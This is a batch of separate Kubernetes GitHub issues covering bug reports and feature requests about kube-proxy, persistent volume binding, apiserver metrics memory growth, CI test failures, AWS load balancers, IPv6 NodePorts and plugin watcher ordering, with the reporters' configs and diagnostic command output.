<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r kube-proxy service iptables\r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   anything else do we need to know  :\r \r anyone taking kubernetes to production generally ends up having to bypass kube-proxy to have sensible service load balancing between components. people are using sidecar http proxies, haproxy replacements of kube-proxy, and other types of workarounds to deal with the limitations of kube-proxy.\r \r problems with kube-proxy:\r 1. simplistic, naive load balancing using probabilities, that can easily result in imbalanced requests to downstream systems.\r 2. poor support for keepalive connections, which most http/rpc clients use.  1  exacerbates this, since the poor balancing persists for a long time under load. rolling deployments can skew it even further.\r 3. impossible to do non-disruptive deployments when  2  keepalives are involved - there isn't a great way to gracefully drain the connections or move them to the new pods.\r \r as a result, i find kube-proxy is only suitable for the most simple use cases. it needs a rethink. a solution would be a userspace proxy which is endpoint aware. kube-proxy really needs some attention!

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : none, i read layer source code instead to confirm this was not currently possible\r \r ---\r \r   is this a bug report or feature request?    choose one : feature_request\r \r this is related to https://github.com/kubernetes/kubernetes/issues/43572. it would be good for the kubernetes-master layer  or etcd layer?  to allow operators to add external ca to the file --client-ca-file points at.\r \r i'm not sure what's the best place to do that but maybe we should add new option to the etcd juju layer?\r \r according to https://github.com/kubernetes/kubernetes/issues/2895 ca file can be a bundle, this could make it easier

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r statefulset unable to provision persistant ssd disk:\r \r    \r $ kubectl get pods\r es-data-0                    0/1       pending   0          6m\r    \r the pod stays pending indefinitely, and 'describe pods' shows  schedulerpredicates failed due to persistentvolumeclaim is not bound \r    \r $ kubectl describe pods es-data-0\r name:\t\tes-data-0\r namespace:\tdefault\r node:\t\t<none>\r labels:\t\tcomponent=elasticsearch\r \t\tdeployment=gcloud-dev\r \t\tname=es-data\r \t\trole=data\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ default\ ,\ name\ :\ es-data\ ,\ uid\ :\ 1a34e6a3-85dc-11e7-b7ef-42010af000fb\ ,\ apiversi...\r \t\tkubernetes.io/limit-ranger=limitranger plugin set: cpu request for container es-data; cpu request for init container init-sysctl\r \t\tpod.beta.kubernetes.io/hostname=es-data-0\r \t\tpod.beta.kubernetes.io/subdomain=elasticsearch-data\r status:\t\tpending\r ip:\r created by:\tstatefulset/es-data\r controlled by:\tstatefulset/es-data\r init containers:\r   init-sysctl:\r     image:\tbusybox\r     port:\t<none>\r     command:\r       sysctl\r       -w\r       vm.max_map_count=262144\r     requests:\r       cpu:\t\t100m\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7tx77  ro \r containers:\r   es-data:\r     image:\tquay.io/pires/docker-elasticsearch-kubernetes:5.5.1\r     port:\t9300/tcp\r     requests:\r       cpu:\t100m\r     environment:\r       namespace:\t\tdefault  v1:metadata.namespace \r       node_name:\t\tes-data-0  v1:metadata.name \r       cluster_name:\t\tmyesdb\r       node_master:\t\tfalse\r       node_ingest:\t\tfalse\r       http_enable:\t\ttrue\r       es_java_opts:\t\t-xms2g -xmx2g\r       es_plugins_install:\tmapper-size\r     mounts:\r       /data from storage  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7tx77  ro \r conditions:\r   type\t\tstatus\r   podscheduled \tfalse\r volumes:\r   storage:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tstorage-es-data-0\r     readonly:\tfalse\r   default-token-7tx77:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-7tx77\r     optional:\tfalse\r qos class:\tburstable\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   1m\t\t3s\t\t8\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ storage-es-data-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ storage-es-data-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ storage-es-data-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ storage-es-data-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ storage-es-data-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ storage-es-data-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ storage-es-data-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ storage-es-data-0\ , which is unexpected. \r    \r \r the statefulset config i'm deploying is:\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: es-data\r   labels:\r     component: elasticsearch\r     role: data\r spec:\r   servicename: elasticsearch-data\r   replicas: {{ es_data_num_pods }}\r   template:\r     metadata:\r       labels:\r         name: es-data\r         deployment: {{ deploy_to }}\r         component: elasticsearch\r         role: data\r     spec:\r       initcontainers:\r       - name: init-sysctl\r         image: busybox\r         imagepullpolicy: ifnotpresent\r         command:  \ sysctl\ , \ -w\ , \ vm.max_map_count=262144\  \r         securitycontext:\r           privileged: true\r       containers:\r       - name: es-data\r         securitycontext:\r           privileged: true\r           capabilities:\r             add:\r               - ipc_lock\r         image: quay.io/pires/docker-elasticsearch-kubernetes:5.5.1\r         imagepullpolicy: always\r         env:\r         - name: namespace\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.namespace\r         - name: node_name\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.name\r         - name: \ cluster_name\ \r           value: \ myesdb\ \r         - name: node_master\r           value: \ false\ \r         - name: node_ingest\r           value: \ false\ \r         - name: http_enable\r           value: \ true\ \r         - name: \ es_java_opts\ \r           value: \ -xms2g -xmx2g\ \r         - name: \ es_plugins_install\ \r           value: \ mapper-size\ \r         ports:\r         - containerport: 9300\r           name: transport\r           protocol: tcp\r         volumemounts:\r         - name: storage\r           mountpath: /data\r   volumeclaimtemplates:\r   - metadata:\r       name: storage\r       annotations:\r         volume.beta.kubernetes.io/storage-class: ssd\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 200gi\r    \r \r \r \r   what you expected to happen  :\r \r new disk to be created\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r deployment of this statefulset works if i change the storage class from  ssd  to   standard  \r \r this may be related to \r https://github.com/kubernetes/kubernetes/issues/42844\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : macbook pro\r - os  e.g. from /etc/os-release : macosx\r - kernel  e.g.  uname -a  : \r darwin wmd2b-dec 15.6.0 darwin kernel version 15.6.0: sun jun  4 21:43:07 pdt 2017; root:xnu-3248.70.3~1/release_x86_64 x86_64\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r ran kubernetes 1.8 apiserver for 3 days and the memory usage kept going up.\r \r ! screenshot from 2017-10-05 10-12-19  https://user-images.githubusercontent.com/4546722/31216977-bb57bd00-a9b5-11e7-989f-0b4ee9b53133.png \r \r looking at a heap profile showed, that the majority of this memory is coming from the   cache.newnamedreflector   https://github.com/kubernetes/client-go/blob/82aa063804cf055e16e8911250f888bc216e8b61/tools/cache/reflector.go l107  function, or more specifically, the  metrics being instantiated in it  https://github.com/kubernetes/client-go/blob/82aa063804cf055e16e8911250f888bc216e8b61/tools/cache/reflector.go l112 .\r \r  pprof.hyperkube.alloc_objects.alloc_space.inuse_objects.inuse_space.003.pb.gz  https://github.com/kubernetes/kubernetes/files/1358504/pprof.hyperkube.alloc_objects.alloc_space.inuse_objects.inuse_space.003.pb.gz \r \r i validated that this is indeed coming from metrics by checking the amount of metrics exposed by the  /metrics  endpoint.\r \r    \r $ curl localhost:8001/metrics | wc -l\r 49966\r    \r \r in an equivalent workload cluster running kubernetes  v1.7.5 , this number is round  3000 .\r \r so i took a look and noticed, that the majority of these metrics are actually coming from reflectors of crd resources. around 15000 of those metrics are each related to one of the three crds installed in the cluster. the total number of metrics increases by ~50 every few minutes.\r \r i feel this might be happening whenever the cache in the prometheus operator  the controller for the crds existing in this cluster  is hitting its resync interval for a particular resource, so this might be happening on either opening a watch and or listing the resources, but this is just a wild guess.\r \r the metrics in the  newnamedreflector  function should be injected instead of re-created and registered on the global metrics registry, but the fact that the apiserver keeps creating new reflectors for these resources is likely also a problem.\r \r another problem i've been noticing, starting approximately at the same time as this, is that the apiserver api latencies have increased significantly.\r \r   what you expected to happen  :\r \r unique metrics for each type of reflector, not causing a memory leak.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the cluster was setup using bootkube, but recently upgraded to 1.8  3 days ago , and the prometheus operator running on it with the   kube-prometheus   https://github.com/coreos/prometheus-operator/tree/master/contrib/kube-prometheus  stack deployed.\r \r   anything else we need to know?  :\r \r   environment  : bootkube / bare metal\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : coreos container linux\r - kernel  e.g.  uname -a  : linux sd-99796 4.12.14-coreos  1 smp wed sep 20 22:20:05 utc 2017 x86_64\r - install tools: bootkube\r - others:\r \r @sig-instrumentation-bugs @kubernetes/sig-api-machinery-bugs \r \r /cc @sttts @nikhita i know you recently worked on the crd code, so you may know why there are new reflectors being created constantly.

failure cluster  d6a4c017d4239fba6d58  https://go.k8s.io/triage d6a4c017d4239fba6d58        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/service.go:1418 oct 13 00:51:56.165: timed out waiting for service \ lb-internal\  to have a load balancer /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:568           failure cluster statistics: 10 tests failed,    13 jobs failed,    117 builds failed. failure stats cover 1 day time range '12 oct 2017 22:10 utc' to '13 oct 2017 22:10 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-network  services should be able to create an internal type load balancer  slow  | 9 | |  sig-network  services should be able to change the type and ports of a service  slow  | 9 | |  sig-network  esipp  slow  should work for type=loadbalancer | 9 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-cosdev-k8sbeta-slow | 11 |  13 oct 2017 20:09 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosdev-k8sbeta-slow/1788  | | ci-kubernetes-e2e-gce-cosbeta-k8sdev-slow | 11 |  13 oct 2017 20:05 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosbeta-k8sdev-slow/1933  | | ci-kubernetes-e2e-gce-cosbeta-k8sstable1-slow | 11 |  13 oct 2017 20:26 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosbeta-k8sstable1-slow/2319  |        previously closed issues for this cluster:  52580   /assign @bprashanth @mrhohn  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  sig-network  services should be able to change the type and ports of a service  slow  | | mrhohn |  sig-network  esipp  slow  should work for type=loadbalancer;  sig-network  esipp  slow  should work from pods;  sig-network  esipp  slow  should only target nodes with endpoints | | sig/network |  sig-network  services should be able to change the type and ports of a service  slow ;  sig-network  esipp  slow  should work for type=loadbalancer;  sig-network  esipp  slow  should work from pods |  </details><br>   current status  https://go.k8s.io/triage d6a4c017d4239fba6d58

hello, my application is a java, only to set up a cpuset performance, if not is to set the default host auditing, this will frequently switch cpu, lead to low performance, do you have any good solution?

is this a bug report?  :\r \r uncomment only one, leave it on its own line: \r  \r \r   what happened  :\r i create po use file：\r apiversion: v1\r kind: replicationcontroller\r metadata: {name: gputest2, namespace: hdp-teu-dia}\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels: {component: gputest2}\r     spec:\r       containers:\r       - command:  /bin/bash, -c, touch /workspace/gputest.$ hostname .syslog && tail -f /workspace/gputest.$ hostname .syslog \r         env:\r         - {name: hadoop_user_name, value: hdp_teu_dia}\r         image: 10.126.98.3:5000/tensorflow.hadoop:1.2.1-gpu-py2-58cluster\r         name: gputest2\r         ports:\r         - {containerport: 8888}\r         - {containerport: 6006}\r         resources:\r           limits: {alpha.kubernetes.io/nvidia-gpu: '1', cpu: '2', memory: 2g}\r           requests: {cpu: '2', memory: 2g}\r         securitycontext: {privileged: true}\r         volumemounts:\r         - {mountpath: /workspace, name: workspace}\r       nodeselector: {type: gpu}\r       volumes:\r       - hostpath: {path: /opt/soft/dia/hdp_teu_dia/gputest2}\r         name: workspace\r \r pod operation condition：\r ! image  https://user-images.githubusercontent.com/31887880/33421507-3dbfbd20-d5ed-11e7-806d-33676b8d570d.png \r \r i perform the following commands：\r date && kubectl exec gputest2-tt944 --namespace=hdp-teu-dia --request-timeout=10s -- /bin/sh -c \ sleep 16200\  && date\r why didn't command after 10 s end???\r or kubectl --request-timeout no effect for the exec command\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use kubectl version :1.6.1\r - docker version 1.12.2, build bb80604\r - centos linux release 7.2.1511  core \r - kernel  e.g. uname -a : 3.10.0-327.el7.x86_64\r - nvidia: tesla k40c\r - nvidia driver version: 375.26\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r using the  aws  cloud provider we were able to successfully create an external elb and route external traffic through the elb. if you then manually delete the elb the  kube-controller-manager  does not update or create a new elb.  kubectl get svc -o wide  will still report the missing external elb name.\r \r i discovered this issue with my colleague @2rs2ts.\r \r   what you expected to happen  :\r in the case of elb deletion i would expect k8s to automatically heal and create another elb. at the very least i would expect to no longer see the elb listed in  kubectl get svc  and see some error indicating failure with the external ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the aws cloud integration and expose a minimal service. once you have exposed the service and have an elb use the  aws cli  or ui to delete the external lb.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - aws cloud provider\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r pull-kubernetes-e2e-gke failed consistently\r \r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gke\r \r by looking into logs and checking the corresponding project k8s-jkns-pr-gci-gke on gcp, no k8s cluster is created.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it runs automatically for new prs.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r two servers, one master, one node. i get a deployment or pod named 'system' running on the node, whose image comes from my personnal docker repository and name is  '192.168.10.1:10001/microservice/test/system'. the default tag of this image is 'latest', if the repository has a newer version of image and i pull it into the node, then the former image's tag becomes '<none>' and the newer's tag is 'latest'.\r i set 'imagepullpolicy' to 'always' in yaml file on master, creating the deployment, the node will automatically pull the image and run the pod, the image's tag is 'latest', now i get a newer version of image in my repository and i want to control the master to update the deployment with the newer image. \r what's the best way to update the deployment? i've tried 'kubectl replace, kubectl set image and etc', useless, the node won't pull the newer image. now i just delete the deployment and recreate it, it works, but i don't think this is the best updating way. \r thanks for attention~\r \r   what you expected to happen  :\r updating the deployment directly instead of deleting it and recreate it\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :\r centos 7.3\r

 \r   what happened  :\r \r when network unreachable, calico log is as below:\r    \r {\ log\ :\ 2018-07-16 09:54:04.707  info  187  usagerep.go 150: failed to report usage/get deprecation warnings. error=get https://usage.projectcalico.org/usagecheck/calicoversioncheck?cal_ver=v3.1.1\\u0026guid=2b6b9af1b7854a908de9daf0c874f1c8\\u0026heps=0\\u0026policies=0\\u0026profiles=4\\u0026rev=e88409e2f94a39fe62034256b8036e72fa73b3cc\\u0026size=2\\u0026type=k8s%2cbgp\\u0026version=3.1.1\\u0026weps=8: dial tcp: lookup usage.projectcalico.org on 192.168.20.17:53: dial udp 192.168.20.17:53: connect: network is unreachable\ \ ,\ stream\ :\ stdout\ ,\ time\ :\ 2018-07-16t09:54:04.707555945z\ }\r    \r \r   what you expected to happen  :\r \r this log should in error level and stream is stderr\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-18t23:58:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

is this a bug report or feature request?  :\r >  \r \r   what happened  : persistentvolumes are not moved to another node if node goes into notready state\r \r 1. node goes into notready state\r    \r name          status                     roles     age       version\r master-0   ready,schedulingdisabled   <none>    2d        v1.9.8\r minion-0   notready                   <none>    19h       v1.9.8\r minion-1   ready                      <none>    19h       v1.9.8\r    \r \r 2. the old pod goes into unnown state and rs creates a new one on a healthy node:\r    \r name                                ready     status              restarts   age\r nginx-deployment-7dc8dddf6d-2k7fg   1/1       unknown             0          19h\r nginx-deployment-7dc8dddf6d-qzkl8   0/1       containercreating   0          17h\r    \r \r the new one can't be created since the volume is not detached from the old pod.\r \r   what you expected to happen  :\r \r attachdetach controller should have handled the case when unmount have not happened with force detach, the new pod should have started on a healthy node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod with pvc\r 2. kill kubelet on one of the worker nodes\r \r   anything else we need to know?  :\r this issue is related to one of the issues mentioned in  57643 \r

 \r \r   what happened  :\r \r when creating a node port application  in this case the example guestbook  on a host server that is dual stacked and has aaaa and a dns entries, the node port on the v6 address is open to kube-proxy and hangs. \r \r   what you expected to happen  :\r \r the v6 address would refuse the connection and the client would fall back onto the v4 address which would connect correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r apiversion: kubeadm.k8s.io/v1alpha2\r kind: masterconfiguration\r clustername: kubernetes\r api:\r   advertiseaddress: <ipv4 address>\r networking:\r   dnsdomain: cluster.local\r   podsubnet: 192.168.0.0/16\r   servicesubnet: 172.30.0.0/16\r bootstraptokens:\r   - token: v315ij.jrg9nu08ayho78q7\r kubeproxy:\r   config:\r     mode: ipvs\r     ipvs:\r       scheduler: lc\r    \r \r kubeadm init with the above, and join in some workers. then install the guestbook application https://kubernetes.io/docs/tutorials/stateless-application/guestbook/\r \r obtain the node port with  kubectl get services frontend  and telnet to one of the servers on that port from a dual stacked client. the client will connect and refuse to respond to 'get /'\r \r telnet directly to the ipv4 address of the server on the port and all works as expected. \r \r   anything else we need to know?  :\r \r kube-proxy is noted as listening on the port. \r \r    \r ubuntu@srv-jidtj:~$ sudo ss -l -t -p | grep 31759\r listen   0         128                        :31759                    :        users:  \ kube-proxy\ ,pid=2268,fd=7  \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r ubuntu@srv-jidtj:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r brightbox\r - os  e.g. from /etc/os-release :\r ubuntu 18.04.1 lts\r - kernel  e.g.  uname -a  :\r linux srv-jidtj 4.15.0-29-generic  31-ubuntu smp tue jul 17 15:39:52 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm 1.11\r - others:\r

failing jobs\r  sig-release-master-blocking periodic-kubernetes-e2e-packages-pushed  https://k8s-testgrid.appspot.com/sig-release-master-blocking periodic-kubernetes-e2e-packages-pushed \r \r   failing tests\r  periodic-kubernetes-e2e-packages-pushed  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/periodic-kubernetes-e2e-packages-pushed/77 \r \r /cc @tpepper @aishsundar \r \r overall failing\r   /

right now the plugin watcher spawns a separate goroutine to handle fsnotify events for both socket add and delete events, so it's possible that the delete event arrives at the deregistration handler before the add event arrives at the registration handler.\r \r https://github.com/kubernetes/kubernetes/blob/c81a4a09cf07083265591a9f48c53e80c13d3ebd/pkg/kubelet/util/pluginwatcher/plugin_watcher.go l109\r \r the csi handler keeps a record of existing csi drivers in the cluster. if the events arrive at the handlers out of order  in the case where a driver is added and deleted quickly in succession , there's no way for the csi handler to know what the correct order is, so the record will be inconsistent.\r \r the plugin watcher should guarantee that events for the same plugin must be passed to handlers in the correct order.\r \r   /cc @renaudwastaken @vikaschoudhary16 @vladimirvivien @davidz627 @msau42 \r \r <!-- do not edit below this line -->\r 

i've started to make progress on this, with the goal being to be able to deploy a kubernetes cluster from a cloudformation template that has no dependencies on manually created or pre-existing aws resources.  a second goal is to deploy multiple clusters in the same account w/o overlap or collisions. - add iam role for master - add iam role for node - add vpc - add --cloud-provider=aws to cmdline params   ?  what other implications does this have on the aws cloud provider implementation? e.g. provider needs to discover 'itself' from the meta-data for creating load balancers and security groups.

markdown does not seem to care if my editor manually wraps lines or not.  we have some docs that never linewrap manually, some that do, and some that mix it up.  i propose we say that docs should linewrap at 80 columns, unless there is a line  a url or table or something  for which 80 columns is a problem.  we don't need to be religious about it, but i think it would be good to have consistency over time.

i think it would be beneficial for debugging to add events about volumes in the system.  a couple examples: 1.  a pv should have an event recorded when it is attached / detached from a node. 2.  we should make an event when a mount happens  whether it failed or not  3.  we should make an event when a volume is formatted  whether the format fails or not   if a volume that requires a cloud provider attach is used directly in a pod, i suggest that event should be generated for that pod where applicable.  for example, detach may not be applicable since the pod will necessarily have been deleted or died.  for the record, i think this is probably more applicable to network storage than to things like secrets or configmaps, but it's not strictly pvs, since pods can use volumes directly without using pvs.  @kubernetes/sig-storage

the current nodestatus.allocatable is used for scheduling and is immutable, see https://github.com/kubernetes/kubernetes/blob/master/pkg/api/types.go l2119.   can node exposes a   real   allocatable status just like  nodeinfo.allocatable , maybe named  allocated ?  via api? i think it will make external monitor systems more easy to collect the node resource usage information.  if the idea make sense, i think the information can be sent by kubelet hearbeat package.  @davidopp @bgrant0607 @lavalamp @wojtek-t what do you think about it?

i was unable to locate an efforts/attempts at this in any existing issues  looked for instances of \ digitalocean\  and \ digital ocean\  which didn't yield anything seemingly relevant , so i'd like to work to add support for digitalocean as a kubernetes_provider when deploying with kube-up.sh  and kube-down.sh .   i did work to this effect in the following fork to try to make this happen, based on the rackspace provider workflow, updated to reflect the do coreos stable image and provider networking:  https://github.com/jmarhee/kubernetes/tree/digitalocean_provider/cluster/digitalocean  as it stands, it just takes in do_region, master_size, node_size, do_certs  whether or not to generate self-signed certs for the apiserver; if false, just requires user-provided certs , ssh_key_name specific to this provider when creating the cluster from the user before running the kube-up script with this provider. as it exists, and after some testing, it creates the cluster, passes validation, generates a working kubeconfig as expected.

\r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.0\ , gitcommit:\ 58b7c16a52c03e4a849874602be42ee71afdcab1\ , gittreestate:\ clean\ , builddate:\ 2016-12-12t23:35:54z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.4\r -   kernel    e.g.  uname -a  :x86_64\r -   install tools  :kubefed on running kube cluster created with kubeadm init --cloud-provider=aws\r \r   what happened  :\r i am trying to get a federated cluster environment up. using \r kubefed init my-fed --host-cluster-context=awsc1  --dns-zone-name=\ spot.co.uk\  --dns-provider=aws-route53 --request-timeout='12m'\r \r api-server is not not coming up error :+1: 32m   34s     24      {controller-manager }           warning   failedmount     failed to attach volume \ pvc-c331e1f2-e187-11e6-8943-02a31dd1b43f\  on node \ ip-10-43-0-31\  with: error finding instance ip-10-43-0-31: instance not found  \r \r \r error on dashboard :\r   schedulerpredicates failed due to persistentvolumeclaim is not bound: \ my-fed-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ my-fed-apiserver-etcd-claim\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ my-fed-apiserver-etcd-claim\ , which is unexpected. \r failed to attach volume \ pvc-c331e1f2-e187-11e6-8943-02a31dd1b43f\  on node \ ip-10-43-0-31\  with: error finding instance ip-10-43-0-31: instance not found\r error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ my-fed-apiserver-2017329371-1d6ws\ /\ federation-system\ . list of unattached/unmounted volumes= etcddata \r \r   how to reproduce it    as minimally and precisely as possible :\r use kubefed on aws , pvc does not mount to instances \r \r

